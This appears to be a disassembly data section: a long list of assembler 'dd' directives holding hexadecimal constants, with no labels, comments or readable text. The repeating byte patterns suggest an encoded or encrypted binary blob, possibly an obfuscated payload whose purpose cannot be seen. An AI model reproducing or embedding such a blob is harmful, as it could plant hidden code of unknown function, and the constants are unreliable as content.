dd 5B4849D9h, 49D9F86Dh, 5407D348h, 0D1A8055Bh, 57B8EF04h
dd 0D8CC6DE7h, 6D5B4849h, 4849D968h, 55B47D3h, 0EF04D1ACh
dd 6DE757ACh, 4849DA18h, 0DA586D5Bh, 7D34849h, 0A4055B50h
dd 8CEF04D1h, 0D9D46DD3h, 7D34849h, 0A0055B5Ch, 7EF44D1h
dd 9B910306h, 30BDD10Dh, 4849334Ch, 71A04DA7h, 4CF9485Dh
dd 5484933h, 0D585C9Ah, 0B4D9BDD1h, 58585B40h, 0D30F0E0Bh
dd 5D3502Dh, 1865D354h, 174849D9h, 585A73B1h, 0D5A23058h
dd 0EDB04849h, 0FA7A7EAh, 0A5CDD508h, 0AA7A7A4h, 1704DA7h
dd 0D0F94855h, 5D4849D9h, 585858A2h, 0D9D45D5Bh, 0DDD14849h
dd 0A7A7A5A4h, 49D5B030h, 0EADEB048h, 0CDD5A7A7h, 0A7A7A4B4h
dd 0A4CDD50Ah, 0AA7A7A5h, 0A759CDD5h, 80AA7A7h, 0A4A5CDD5h
dd 300AA7A7h, 0D8585859h, 584AD8B0h, 749CDB58h, 0A4A8DDD1h
dd 98DDA7A7h, 59E1DC57h, 0DDD55858h, 0A7A7A65Ah, 5BDDD508h
dd 8A7A7A7h, 0A79B1AB0h, 0D8B8F9A7h, 5D5B4849h, 4849DA58h
dd 852B0DBh, 0A65ADDD5h, 0B08A7A7h, 0A7BD12B0h, 4C9CDBA7h
dd 0D9344DD3h, 9AD94849h, 5858A7A2h, 0DC578861h, 5858592Bh
dd 49D5D230h, 0E9A6B048h, 801A7A7h, 0A759CDD5h, 0B00AA7A7h
dd 58580495h, 49D9DCF9h, 385D5B48h, 0DB4849D9h, 0DDD153B0h
dd 0A7A7A4ACh, 49D9ACF9h, 51B0DB48h, 0A4A0DDD1h, 6DB3A7A7h
dd 0A4A0DDD3h, 0E4D8A7A7h, 0A7A7595Dh, 472D7BA7h, 0A4A0DDD3h
dd 4DD3A7A7h, 4849D948h, 0C455E757h, 594849D8h, 57B2DB92h
dd 595DCCD0h, 0A7A7A7A7h, 0A7A4A0DDh, 0A0E5D9A7h, 0A7A7A7A4h
dd 2A585858h, 0D8B0F9E7h, 0A35D4849h, 5B585858h, 49D8845Dh
dd 0A4DDD148h, 0D5A7A7A5h, 0A7A4B4DDh, 0DDD508A7h, 0A7A7A5A4h
dd 5ADDD508h, 8A7A7A6h, 0A4ACDDD3h, 0DCD5A7A7h, 0A7A7595Dh
dd 0DDD508A7h, 0A7A7A4A5h, 58593008h, 3AB0D858h, 0DB585849h
dd 0DDD1409Ch, 0A7A7A4A8h, 782D98DDh, 0B05DE757h, 574849D9h
dd 0D9C84DE7h, 88594849h, 0D96C4DD3h, 0B2DB4849h, 5DCCD05Ah
dd 0A7A7A5ABh, 0A4ACDDD3h, 0DDD1A7A7h, 0A7A7A4B0h, 595DD4D5h
dd 0DBA7A7A7h, 0D818A790h, 2D585964h, 0B0D5D3A1h, 59A7A7A4h
dd 0ACD5D199h, 0D5A7A7A4h, 0A7A65ADDh, 0A70E08A7h, 58A8744Dh
dd 509CDB48h, 49D5DD30h, 0E896B048h, 9CDBA7A7h, 0A70E085Ch
dd 58A8744Dh, 509CDB48h, 0A4ACDDA7h, 0DDD3A7A7h, 0A7A7A4ACh
dd 5DDCEE57h, 0A7A7A759h, 0D9004DD3h, 4D5B4849h, 4849D9E4h
dd 6151B2DBh, 52DD5788h, 1FA7A7A7h, 49D948F9h, 4D98DB48h
dd 0DA579F61h, 0A7A7A59Dh, 91030607h, 0BDD10D9Bh, 505DE757h
dd 104849DAh, 334C5D61h, 532E4849h, 49334C30h, 4C4DA748h
dd 0F94858A8h, 4849334Ch, 585C9A05h, 14D30E0Bh, 6DD3547Ch
dd 4849DA4Ch, 0D88045D3h, 9BD94849h, 0B795F3DAh, 944DE757h
dd 594849D8h, 0E904D18Bh, 6DE757A0h, 4849D960h, 0D93845D3h
dd 9BD94849h, 486A0C37h, 57E944D1h, 0D99C6DE7h, 6D5B4849h
dd 4849D958h, 0D90845D3h, 9BD94849h, 0C0E284ACh, 0D9E4455Bh
dd 4D14849h, 6DD39CE9h, 4849D948h, 1045E757h, 0D94849D9h
dd 1D7B589Bh, 0E904D13Fh, 9B030684h, 0D522300Fh, 8DB04849h
dd 1A7A7F7h, 0C04DA708h, 0FB48597Dh, 4849DA34h, 49D954F9h
dd 4DE75748h, 4849D970h, 0B0DB8859h, 345D615Fh, 2D4849DAh
dd 0D537304Fh, 0FDB04849h, 1A7A7F7h, 404DA708h, 0FB485D6Ah
dd 4849DA34h, 705DE757h, 0DB4849D9h, 5D615DB0h, 4849DA34h
dd 130452Ch, 0B04849D5h, 0A7A7F724h, 6DA70801h, 4849DA34h
dd 79F44DA7h, 0ECFB4859h, 748597Dh, 0BDD10D9Bh, 0F0E0B09h
dd 0D15405D3h, 5CB79987h, 55D3A0D1h, 4849D92Ch, 0AF5199DBh
dd 0A41DD1B9h, 9E7186D1h, 5C45E757h, 1B4849D9h, 86D1A9D1h
dd 5D3BE8Bh, 44EF5750h, 7987D123h, 2DAF61AFh, 5DE7574Ch
dd 4849D91Ch, 655B9FD1h, 4849D8C0h, 0B354B7DBh, 5DE7574Ah
dd 4849D8A0h, 655B9FD1h, 4849D918h, 0D15EB7DBh, 30607A0h
dd 0D10D9B91h, 48B4DBBDh, 0D50F0E0Bh, 0A708A41Dh, 97B0502Dh
dd 0DB585863h, 9ED1509Ch, 0CC5DE757h, 104849D9h, 5F2D9E61h
dd 0F1B19869h, 0F9585858h, 4849D9F8h, 655B9FD1h, 4849D9B8h
dd 0D350B7DBh, 99D1541Dh, 18A790DBh, 585964D8h, 1DD1A12Dh
dd 6654D5A0h, 18A790DBh, 585964D8h, 9BD1A12Dh, 63480573h
dd 172DA005h, 59A81D9Fh, 57585858h, 0D9705DE7h, 0B0DB4849h
dd 0AC1DD15Dh, 1DD37AB3h, 59A2D1ACh, 480D5B9Ah, 4E4CEE57h
dd 575415D3h, 61595CE6h, 0DB5E2C9Ah, 0B358A83Dh, 0AC1DA750h
dd 2AAC0561h, 0A825DB81h, 0E542C58h, 7D944DA7h, 98694859h
dd 5B79B318h, 60F94825h, 184849DAh, 0DA545D5Bh, 9F594849h
dd 25638759h, 0EDA2AA4h, 7D944DA7h, 98694859h, 91030607h
dd 0BDD10D9Bh, 0E54B4DBh, 542DD30Fh, 69501DD3h, 0D3AEAF8Ah
dd 49D9F465h, 5AB7DB48h, 5D2DA261h, 0B3501DD3h, 501DD342h
dd 0AEAF8A69h, 0D1A01DD1h, 0D1BEAF9Fh, 9FD1AC1Dh, 25D1AF59h
dd 7A0D1A4h, 0D9B9106h, 0B4D9BDD1h, 58585A68h, 0D30F0E0Bh
dd 5D3502Dh, 6580D154h, 58585958h, 0D4574E2Ch, 58585D93h
dd 58594965h, 0F8DC5758h, 0B1585858h, 58585DE3h, 514825DBh
dd 5DE9DD57h, 0E7575858h, 49DA1865h, 50B7DB48h, 68E033B3h
dd 0AF585858h, 0A0DDD1BFh, 61A7A7A5h, 6D3C5D6Ch, 472D4851h
dd 585868E0h, 0D1BFAF58h, 0A7A5ACDDh, 5D6CA7A7h, 48516D30h
dd 71A44DA7h, 28B1485Dh, 0E058585Dh, 58585868h, 0DDD1BFAFh
dd 0A7A7A5ACh, 385D6C61h, 2D48516Dh, 5868E047h, 0BFAF5858h
dd 0A5A8DDD1h, 6CA7A7A7h, 516D3C5Dh, 0A44DA748h, 0B1485D71h
dd 58585D63h, 5DE7571Fh, 4849DA48h, 0D9E44DD3h, 1CD54849h
dd 9F610148h, 78B1D82Ah, 5758585Dh, 0D9705DE7h, 9FD14849h
dd 0D92C655Bh, 0B7DB4849h, 0E042B354h, 58585868h, 0DDD1BFAFh
dd 0A7A7A5A0h, 345D5CD3h, 6148516Dh, 4B2C4C1Dh, 0D918F91Fh
dd 98DB4849h, 0D85D5B3Bh, 614849D9h, 0F98C2A9Fh, 4849D9E8h
dd 610598DBh, 88DC579Fh, 3058585Ch, 585858A7h, 0A6A5DDD5h
dd 0E008A7A7h, 58585868h
dd 0DDD1BFAFh, 0A7A7A5ACh, 5D6CA7h, 0A748516Dh, 4937604Dh
dd 5DE75748h, 4849D9FCh, 0AE5DDC9Eh, 13A7A7A5h, 645DE757h
dd 0D34849D9h, 49D9804Dh, 5CB2DB48h, 0AD5DCCD0h, 57A7A7A5h
dd 0D9F05DE7h, 5D5B4849h, 4849D8B0h, 0A45DDC9Eh, 24A7A7A5h
dd 0A6A5DDD5h, 0D508A7A7h, 0A7A5A4DDh, 4DA708A7h, 4858A874h
dd 30509CDBh, 585858A7h, 0A6A5DDD5h, 0E008A7A7h, 58585868h
dd 0DDD1BFAFh, 0A7A7A5A8h, 385D6CA7h, 0A748516Dh, 4937604Dh
dd 0DA54F948h, 0E7574849h, 49D9CC4Dh, 57885948h, 0A05DDCE6h
dd 0D3A7A7A6h, 49D9904Dh, 444D5B48h, 0DB4849D9h, 886152B2h
dd 6E30042Dh, 0B04849D5h, 0A7A7F3A8h, 4DE75701h, 4849D960h
dd 0A5BB2DBh, 0D9AC4DD3h, 4D5B4849h, 4849D8F4h, 0A48B2DBh
dd 184DD308h, 5B4849D9h, 49D8E04Dh, 5DB2DB48h, 604DA70Ah
dd 0E0485501h, 58585868h, 0DDD1BFAFh, 0A7A7A5B4h, 385D6CA7h
dd 0A748516Dh, 5D71A44Dh, 5BF5B148h, 69305858h, 0B04849D5h
dd 0A7A7F3CCh, 0A4CDD508h, 0AA7A7A5h, 0A8744DA7h, 0DDD54858h
dd 0A7A7A6A5h, 0A4DDD508h, 8A7A7A5h, 0A8744DA7h, 9CDB4858h
dd 58A7304Ch, 0DDD55858h, 0A7A7A6A5h, 5868E008h, 0BFAF5858h
dd 0A5B4DDD1h, 6CA7A7A7h, 516D3C5Dh, 604DA748h, 0F9484937h
dd 4849D8F4h, 5DDCE657h, 0A7A7A6AEh, 0D8C04DD3h, 4D5B4849h
dd 4849D898h, 6153B2DBh, 30022D88h, 4849D557h, 0A7F347B0h
dd 4DD301A7h, 4849D918h, 0D8904D5Bh, 0B2DB4849h, 4DD30A5Ah
dd 4849D9A0h, 0D9344D5Bh, 0B2DB4849h, 57080A50h, 0D9104DE7h
dd 0A124849h, 1604DA7h, 68E04855h, 0AF585858h, 0B0DDD1BFh
dd 0A7A7A7A5h, 6D3C5D6Ch, 4DA74851h, 485D71A4h, 585A86B1h
dd 0D5523058h, 9DB04849h, 8A7A7F2h, 0A5A4CDD5h, 0A70AA7A7h
dd 58A8744Dh, 0A5DDD548h, 8A7A7A6h, 0A5A4DDD5h, 0A708A7A7h
dd 58A8744Dh, 4C9CDB48h, 5858A730h, 0A5DDD558h, 8A7A7A6h
dd 585868E0h, 0D1BFAF58h, 0A7A5B0DDh, 5D6CA7A7h, 48516D30h
dd 37604DA7h, 0CF94849h, 574849D9h, 0AD5DDCE6h, 57A7A7A6h
dd 0DA484DE7h, 4D5B4849h, 4849DA64h, 615DB2DBh, 71DC5788h
dd 0D5585859h, 0A7A6A5D5h, 0A790DBA7h, 5964D818h, 0D1A12D58h
dd 7455D39Ah, 574849DAh, 0DA505DE7h, 99594849h, 615CB1DBh
dd 0A5DA5792h, 0F9585858h, 4849DA74h, 0D05FB0DBh, 0A7A6A3DDh
dd 577AB3A7h, 0A6A3DDEEh, 0DCD2A7A7h, 0A7A6A55Dh, 246864A7h
dd 2661645Ch, 588AB15Dh, 0DDD85858h, 0A7A7A6A3h, 0A5D5D559h
dd 0DBA7A7A6h, 0D818A790h, 2D585964h, 0D5EE57A1h, 0A7A7A6A3h
dd 9B2A9961h, 49D9B8F9h, 545D5B48h, 0DB4849DAh, 0DDD050B0h
dd 0A7A7A6A4h, 0DDD22EB3h, 0A7A7A6A4h, 0A5BFDDD0h, 71B3A7A7h
dd 0BFDDEE57h, 57A7A7A5h, 0A55DDCE6h, 57A7A7A6h, 0A6A4CDEEh
dd 0E657A7A7h, 0A6A54DCCh, 8861A7A7h, 0DDD87A2Dh, 0A7A7A5BFh
dd 0A5D5D559h, 0DBA7A7A6h, 0D818A790h, 2D585964h, 0D5EE57A1h
dd 0A7A7A5BFh, 0E42A9961h, 0BFDDEE57h, 57A7A7A5h, 0A6A4CDEEh
dd 8871A7A7h, 0D8E44DD3h, 9ADB4849h, 2788615Bh, 0A4DDD873h
dd 59A7A7A6h, 0A6A5D5D5h, 90DBA7A7h, 64D818A7h, 0A12D5859h
dd 0A4D5EE57h, 61A7A7A6h, 33DA5799h, 0B1A7A7A7h, 585858C4h
dd 49D928F9h, 5F945D48h, 0A7085858h, 55017C4Dh, 0D4893048h
dd 49B04849h, 0D1A7A7F1h, 0A7A5BCDDh, 0D4E230A7h, 59B04849h
dd 0D3A7A7F1h, 49D9504Dh, 50B2DB48h, 0CDD3080Ah, 0A7A7A5BCh
dd 744DD30Ah, 5B4849DAh, 49D8B44Dh, 50B2DB48h, 604DA70Ah
dd 30485501h, 4849D4EEh, 0A7F097B0h, 489CDBA7h, 5868E008h
dd 0BFAF5858h, 0A5B8DDD1h, 9AD1A7A7h, 304D6CA7h, 0A748516Dh
dd 49010C4Dh, 5868E048h, 0BFAF5858h, 0A584DDD1h, 6CA7A7A7h
dd 516D305Dh, 0A44DA748h, 0B1485D71h, 585858C7h, 49D4E930h
dd 0F0DEB048h, 0D508A7A7h, 0A7A5A4CDh, 4DA70AA7h, 4858A874h
dd 0A6A5DDD5h, 0D508A7A7h, 0A7A5A4DDh, 4DA708A7h, 4858A874h
dd 585868E0h, 0D1BFAF58h, 0A7A580DDh, 5D6CA7A7h, 48516D00h
dd 69B04DA7h, 0DDD5485Dh, 0A7A7A5A4h, 4C4DA708h, 0DB485958h
dd 5D32409Ch, 585868E0h, 0D1BFAF58h, 0A7A58CDDh, 5D6CA7A7h
dd 48516D0Ch, 1004DA7h, 68E04849h, 0AF585858h, 88DDD1BFh
dd 57A7A7A5h, 0D9C05DE7h, 0E7574849h, 49D9944Dh, 0DB885948h
dd 0CDD352B0h, 0A7A7A588h, 84D5CD1h, 0D348516Dh, 49D98465h
dd 588FB148h, 68E05858h, 0AF585858h, 0A01DD1BFh, 45D6C63h
dd 2D48516Dh, 4C2DA77Ch, 0B482DA7h, 5868E00Eh, 0BFAF5858h
dd 0A7AC1DD1h, 6D245D6Ch, 4DA74851h, 485100A0h, 5858E1B1h
dd 5868E058h, 0BFAF5858h, 63A81DD1h, 6D305D6Ch, 7C2D4851h
dd 0A74C2DA7h, 0E0B482Dh, 585868E0h, 0D1BFAF58h, 6CA7B41Dh
dd 516D205Dh, 0A04DA748h, 0B1485100h, 585858DAh, 585868E0h
dd 0D1BFAF58h, 6C63B01Dh, 516D385Dh, 0A7792D48h, 2DA74C2Dh
dd 0E00E0B48h, 58585868h, 1DD1BFAFh, 5D6CA7BCh, 48516D28h
dd 0A04DA7h, 16B34851h, 585868E0h, 0D1BFAF58h, 6C63B81Dh
dd 516D3C5Dh, 0A7792D48h, 2DA74C2Dh, 0E00E0B48h, 58585868h
dd 1DD1BFAFh, 5D6CA784h, 48516D2Ch, 0A04DA7h, 42B34851h
dd 0D8B0F91Fh, 98DB4849h, 4DE75706h, 4849D8ECh, 9F618859h
dd 0A748DA57h, 607A7A7h, 489A9103h, 0BDD10D58h, 595CB4D9h
dd 0F0E5858h, 575425D3h, 0D8885DE7h, 0E7574849h, 49D9104Dh
dd 0DB885948h, 64D85FB0h, 1D2C765Fh, 0D5502DA7h, 0A7A6A4DDh
dd 4DA708A7h, 485979FCh, 49D4F430h, 0FEF6B048h, 0D508A7A7h
dd 0A7A6A4EDh, 4DA70EA7h, 4858A874h, 0A4DDD50Fh, 8A7A7A6h
dd 0A8744DA7h, 0DDD54858h, 0A7A7A6A4h, 6434B008h, 9CDB5858h
dd 91060778h, 0D30E0B9Bh, 0D3547C04h, 0D3487C2Ch, 49DA4C55h
dd 4599DB48h, 49DA44F9h, 4DE75748h, 4849D9A8h, 0B0DB8859h
dd 0B3997151h, 4CD33E46h, 4C633E13h, 695C2B16h, 3E45B398h
dd 3E134CD3h, 2E164C63h, 1898695Dh, 0F91156B3h, 4849DA7Ch
dd 25996110h, 18986980h, 0D9B0306h, 0E0BBDD1h, 482DD30Fh
dd 694C05D3h, 0D379B3A7h, 71B8E54Ch, 4DD14859h, 4858A850h
dd 583C4230h, 0A70E0B48h, 2DA7542Dh, 504DA750h, 1F4858A8h
dd 0DAFC6563h, 8F2A4849h, 5030607h, 0BDD10D9Bh, 0B14B4DBh
dd 4DA70F0Eh, 48490228h, 0D3A41DD1h, 6DD35005h, 4849D8E0h
dd 0B35CB6DBh, 0B44DD314h, 0DB4849D9h, 4C615BB2h, 5948B8EDh
dd 0D3612C48h, 1108ED4Ch, 55D34851h, 4849D880h, 0B20299D9h
dd 0F8F95858h, 5B4849D8h, 49D9005Dh, 0F7571048h, 63925990h
dd 482BA40Dh, 0D9E84DD3h, 0B2DB4849h, 0ED4CD15Fh, 485948B8h
dd 0D988F91Eh, 0B85D4849h, 5B58585Bh, 49D8B45Dh, 2A9E6148h
dd 0D15BD3F8h, 44D5A81Dh, 7380D15Bh, 1D63501Dh, 9EDB5754h
dd 57585859h, 0D93C5DE7h, 98DB4849h, 0A81D615Bh, 80D1832Fh
dd 0D3501D73h, 49D9004Dh, 7C4D5B48h, 124849D9h, 1DD18871h
dd 0DB81D1A0h, 0D818A790h, 2D585964h, 0AC1DD1A1h, 49DA10F9h
dd 5B9FD148h, 49D8F465h, 53B7DB48h, 4DD36DB3h, 4849D9B4h
dd 0D8FC4D5Bh, 0B2DB4849h, 0E54C6152h, 485948B8h, 0DD3442Ch
dd 0E54C61A0h, 48595878h, 4CD2482Dh, 5979E865h, 400D6248h
dd 5968DC57h, 0F91F5858h, 4849DA54h, 585BBC5Dh, 2A9F6158h
dd 0D9D0F9E5h, 0E35D4849h, 6158585Bh, 0DE57AC1Dh, 585858E0h
dd 49D978F9h, 5D5B1848h
dd 4849D9E4h, 0ED1DD508h, 9FFCB008h, 9CDBA7A7h, 0D9E4F950h
dd 0EA5D4849h, 5758585Bh, 0D99C4DE7h, 88594849h, 0F9B41DD1h
dd 4849DA74h, 0D15FB0DBh, 1DD3B01Dh, 5B5CD2B4h, 0D3BF1DD0h
dd 0E757B41Dh, 49D99C4Dh, 0AC4D5B48h, 0DB4849D9h, 4CD049B2h
dd 57B8305Bh, 2DA74859h, 0B02DA7ACh, 8ED1DD5h, 0A74C1DD3h
dd 502DA768h, 482DA70Bh, 505DE757h, 104849DAh, 5858A77Dh
dd 0E4B00858h, 0DB58585Ch, 1DD37C9Ch, 0B01DD1B4h, 0D0BF0DD2h
dd 68F95B4Ch, 5D4849DAh, 58585BE7h, 0D3B41D59h, 1D61AC1Dh
dd 0D15B2EB4h, 1DD3B41Dh, 0B01D61ACh, 0DAB30B2Bh, 49D4FF30h
dd 0FBAEB048h, 0B830A7A7h, 0A7485957h, 0E757AC2Dh, 49D9FC4Dh
dd 55E75748h, 4849D9C0h, 0B2DB9259h, 0D3080A5Fh, 6AA74C0Dh
dd 0B502DA7h, 0D3482DA7h, 49D8F84Dh, 4C4D5B48h, 0DB4849D9h
dd 0BAD95CB2h, 585858A7h, 5C65B00Ah, 9CDB5858h, 4C1DD370h
dd 1DD358A7h, 5B44D5ACh, 4C1DD31Bh, 0DA704DD3h, 9ADB4849h
dd 57486154h, 0A7A67CDEh, 0D4FB30A7h, 0DDB04849h, 30A7A7FBh
dd 485957B8h, 0D9804DD3h, 0E7574849h, 49D88855h, 0DB925948h
dd 570A52B2h, 0D9644DE7h, 0B2DB4849h, 0A080A51h, 0FC4DE757h
dd 0DB4849D9h, 570A5EB2h, 0D9404DE7h, 0B2DB4849h, 2DA70A50h
dd 0B84DD348h, 5B4849D9h, 49D9BC4Dh, 5FB2DB48h, 58A7BAD9h
dd 0B00A5858h, 58585BEFh, 7709CDBh, 9B910306h, 0D4CE300Fh
dd 41B04849h, 1A7A7FBh, 0C04DA708h, 0FB48597Dh, 4849DA3Ch
dd 49D9E0F9h, 5C5D5B48h, 0DB4849DAh, 5D615EB0h, 4849DA3Ch
dd 0D1304F2Dh, 0B04849D4h, 0A7A7FAB4h, 4DA70801h, 485D6A40h
dd 49DA3CFBh, 0D42F3048h, 8DB04849h, 8A7A7FAh, 0DA3C6DA7h
dd 4DA74849h, 485979F4h, 5978D4FBh, 0D43F3048h, 0E1B04849h
dd 8A7A7FAh, 0DA3C6DA7h, 4DA74849h, 485979F4h, 5978DCFBh
dd 0D40C3048h, 0C5B04849h, 8A7A7FAh, 0DA3C6DA7h, 4DA74849h
dd 485979F4h, 492810FBh, 0D4183048h, 0D9B04849h, 8A7A7FAh
dd 0DA3C6DA7h, 4DA74849h, 485979F4h, 597D8CFBh, 0D4693048h
dd 3DB04849h, 8A7A7FAh, 0DA3C6DA7h, 4DA74849h, 485979F4h
dd 550164FBh, 0D4783048h, 11B04849h, 0DBA7A7FAh, 0A708409Ch
dd 49DA3C6Dh, 0F44DA748h, 0FB485979h, 485D69B4h, 300F9B07h
dd 4849D44Ah, 0A7FA7FB0h, 0A70801A7h, 597DC04Dh, 0DA04FB48h
dd 0E7574849h, 49D99C5Dh, 50B0DB48h, 0DA045D61h, 4F2D4849h
dd 49D45C30h, 0F9A6B048h, 801A7A7h, 6A404DA7h, 4FB485Dh
dd 304849DAh, 4849D3AAh, 0A7F9BFB0h, 0ACB008A7h, 0FB585868h
dd 48597D90h, 49D3B830h, 0F98AB048h, 0B008A7A7h, 58586887h
dd 51014CFBh, 0D3913048h, 0E5B04849h, 8A7A7F9h, 586892B0h
dd 7DFCFB58h, 0EE304859h, 0B04849D3h, 0A7A7F9F0h, 68EDB008h
dd 64FB5858h, 30485111h, 4849D3FDh, 0A7F9CBB0h, 0F8B008A7h
dd 0FB585868h, 48550168h, 49D3CF30h, 0F926B048h, 0B008A7A7h
dd 585868D3h, 490100FBh, 0D3DD3048h, 31B04849h, 8A7A7F9h
dd 58682EB0h, 78C8FB58h, 21304859h, 0B04849D3h, 0A7A7F90Ch
dd 6839B008h, 0A4FB5858h, 30485D71h, 4849D335h, 0A7F967B0h
dd 14B008A7h, 0FB585868h, 485100ACh, 49D30130h, 0F972B048h
dd 0B008A7A7h, 5858686Fh, 490358FBh, 0D3113048h, 4DB04849h
dd 8A7A7F9h, 58687AB0h, 0A840FB58h, 6F304858h, 0B04849D3h
dd 0A7A7F958h, 6855B008h, 0F4FB5858h, 3048597Dh, 4849D37Eh
dd 0A7F8B3B0h, 0A0B008A7h, 0FB585877h, 48595788h, 49D34C30h
dd 0F88EB048h, 0B008A7A7h, 585877BBh, 493760FBh, 0D3593048h
dd 99B04849h, 8A7A7F8h, 587796B0h, 0A0FB58h, 0A8304851h
dd 0B04849D2h, 0A7A7F8F4h, 77E1B008h, 8FB5858h, 30484901h
dd 4849D2BBh, 0A7F8CFB0h, 0FCB008A7h, 0FB585877h, 4858A85Ch
dd 49D28C30h, 0F8DAB048h, 0B008A7A7h, 585877D7h, 516D10FBh
dd 0D2983048h, 35B04849h, 8A7A7F8h, 587722B0h, 5840FB58h
dd 0EA304859h, 0B04849D2h, 0A7A7F800h, 773DB008h, 58FB5858h
dd 30485958h, 4849D2C4h, 0A7F81BB0h, 8B008A7h, 0FB585877h
dd 48595848h, 49D2D230h, 0F876B048h, 0B008A7A7h, 58587763h
dd 49010CFBh, 0D2213048h, 41B04849h, 8A7A7F8h, 58777EB0h
dd 69B0FB58h, 3230485Dh, 0B04849D2h, 0A7A7F85Ch, 7749B008h
dd 9CD95858h, 58585898h, 550160FBh, 329B0748h, 4AFDB05Ah
dd 58325858h, 584AC6B0h, 509CDB58h, 0BDD10D9Bh, 1DD50F09h
dd 413008A4h, 57585A58h, 0D8945DE7h, 8104849h, 0A7542DA7h
dd 4DA7502Dh, 48597DC4h, 0A7519FD1h, 98695C2Ch, 2DA762B3h
dd 4C2DA740h, 0F9442DA7h, 4849D8BCh, 0D9E85D5Bh, 0B0DB4849h
dd 2DA70854h, 0A42DA748h, 0A8144DA7h, 9FD14858h, 0A7A42DA7h
dd 51015C4Dh, 2CA75148h, 0B398695Ch, 1898695Bh, 0D9B9107h
dd 60E0BDD1h, 0B0585AA8h, 5858127Dh, 570F0E0Bh, 0D93C65E7h
dd 0A7314849h, 58585B98h, 9C6DE757h, 0D94849D8h, 58B2029Eh
dd 6FE4D558h, 58585B98h, 0E5D1BF89h, 0A7A55790h, 1120B00Fh
dd 9CDB5858h, 8EDDD15Ch, 57A7A757h, 57501DEEh, 0D9944DE7h
dd 4D5B4849h, 4849D9B4h, 6153B2DBh, 307B2D88h, 4849D207h
dd 0A7C753B0h, 5C9CDBA7h, 84E5D508h, 0FA7A749h, 1704DA7h
dd 9CDB4855h, 598BB150h, 4DA75858h, 485D69A8h, 0C5D09BD1h
dd 0A7A7578Dh, 49D26530h, 0C682B048h, 9CDBA7A7h, 0E5D5085Ch
dd 0A7A74885h, 0FC4DA70Fh, 0DB485979h, 0EE57509Ch, 0E757501Dh
dd 49D9104Dh, 344D5B48h, 0DB4849D9h, 88615CB2h, 0E757052Dh
dd 49D9CC5Dh, 984DD348h, 0D54849D8h, 7D5C481Ch, 585858A7h
dd 86DDD508h, 8A7A757h, 0B0482DA7h, 5858537Eh, 30549CDBh
dd 4849D271h, 0A7C623B0h, 5C9CDBA7h, 8DE5EE57h, 0FA7A757h
dd 5786E5D5h, 0D50FA7A7h, 0A74885E5h, 0D5080FA7h, 0A74984E5h
dd 4DA70FA7h, 48550170h, 574C9CDBh, 57501DEEh, 0D8EC4DE7h
dd 4D5B4849h, 4849D97Ch, 615FB2DBh, 4EDD5788h, 57585859h
dd 0D9FC5DE7h, 0E7574849h, 49D8A04Dh, 0DB885948h, 0A77D53B0h
dd 8585858h, 5786DDD5h, 0A708A7A7h, 49DA9C6Dh, 52F0B048h
dd 9CDB5858h, 0D1BA3054h, 0A5B04849h, 0DBA7A7C5h, 25D35C9Ch
dd 482DD378h, 0AB59A3D1h, 45E7570Bh, 4849D910h, 0D96C4DD3h
dd 4D54849h, 0A70B5B4Bh, 0A70F7C2Dh, 0EE57442Dh, 0A7578DE5h
dd 0AFD10FA7h, 574C2573h, 0D9646DE7h, 6D5B4849h, 4849D9E0h
dd 7151B6DBh, 58300FAFh, 0A7485D6Ah, 2DA7402Dh, 86E5D570h
dd 0FA7A757h, 4885E5D5h, 80FA7A7h, 4984E5D5h, 0A70FA7A7h
dd 5501704Dh, 609CDB48h, 49DA7CF9h, 401D6148h, 61103B2Dh
dd 52D781Dh, 49D1E630h, 0C52AB048h, 9CDBA7A7h, 348305Ch
dd 0E7574849h, 49D95C65h, 4C6DD348h, 0D54849D9h, 0F5D6F24h
dd 0D5702DA7h, 0A75786E5h, 0E5D50FA7h, 0A7A74885h, 0E5D5080Fh
dd 0A7A55795h, 704DA70Fh, 0DB485501h, 0DDD5449Ch, 0A7A55795h
dd 84DDD508h, 8A7A749h, 0A8744DA7h, 9CDB4858h, 90EDA750h
dd 0A7A7A557h, 0A7578EEDh, 5DE757A7h, 4849D994h, 0D8BC5D5Bh
dd 0B0DB4849h, 880AF55h, 4984DDD5h, 5708A7A7h, 0DA1C5DE7h
dd 0B0DB4849h, 5832085Fh, 16C4DA7h, 0FC304855h, 0B04849D1h
dd 0A7A788F2h, 85C9CDBh, 58544DA7h, 0DDD14859h, 0A7A75788h
dd 578EEDA7h, 4DA7A7A7h, 48595854h, 5794DDD1h, 0A708A7A7h
dd 0A75788EDh, 541DD3A7h
dd 0A740D308h, 58595CCBh, 88EDA758h, 0A7A7A757h, 49376C4Dh
dd 94EDA748h, 0A7A7A757h, 49376C4Dh, 0E4FDD548h, 7A7A557h
dd 9B910306h, 9BDD10Dh, 0F0E0B08h, 0D35405D3h, 80D1482Dh
dd 0E15A98DBh, 5858585Bh, 0F2F2F3E2h, 89BAAFF2h, 0A40DD1B2h
dd 0BF998FD1h, 4C0DD35Ah, 2E8F6112h, 0B198695Fh, 58585958h
dd 49D10530h, 0C41AB048h, 801A7A7h, 49371830h, 1F4BB048h
dd 6DB35858h, 502DA70Eh, 0A7929AB0h, 509CDBA7h, 49D898F9h
dd 9B711848h, 0A85DE757h, 0DB4849D9h, 1D5B5BB0h, 501DD150h
dd 49D9E0F9h, 8C5D5B48h, 0DB4849D9h, 6CD550B0h, 0D8E8F95Eh
dd 0E7574849h, 49DA484Dh, 0DB885948h, 9B615FB0h, 0F4F9EE2Bh
dd 0DB4849D9h, 9B615AB0h, 5B32202Eh, 49D9ECF9h, 5CB0DB48h
dd 0A11DD508h, 6C4DA708h, 0B485111h, 0D5502DA7h, 0A708A11Dh
dd 51104C4Dh, 1DD50E48h, 10B008A1h, 0DBA7A792h, 0E757789Ch
dd 49D93C5Dh, 4DE75748h, 4849D8C4h, 0B0DB8859h, 2D9B615Eh
dd 5DE7574Ch, 4849D8A0h, 0D97C5D5Bh, 0B0DB4849h, 5E5C9E5Dh
dd 0D9E4F965h, 5D5B4849h, 4849D898h, 9E5DB0DBh, 57655E5Ch
dd 0D9105DE7h, 2CD54849h, 0E7575B68h, 49DA185Dh, 50B0DB48h
dd 484DE757h, 0DB4849DAh, 4CD05DB2h, 1898695Eh, 91030607h
dd 0BDD10D9Bh, 5A54B4D9h, 0E0B5858h, 5A31B00Fh, 98515858h
dd 5A61DC57h, 0DD9F5858h, 0A7A7A5A4h, 585858A7h, 0A5A4DDD5h
dd 0D508A7A7h, 0A7A759DDh, 4DA708A7h, 48597DF8h, 49D950F9h
dd 6C5D5B48h, 574849DAh, 0A95DDCE6h, 0D3A7A7A6h, 49D9C44Dh
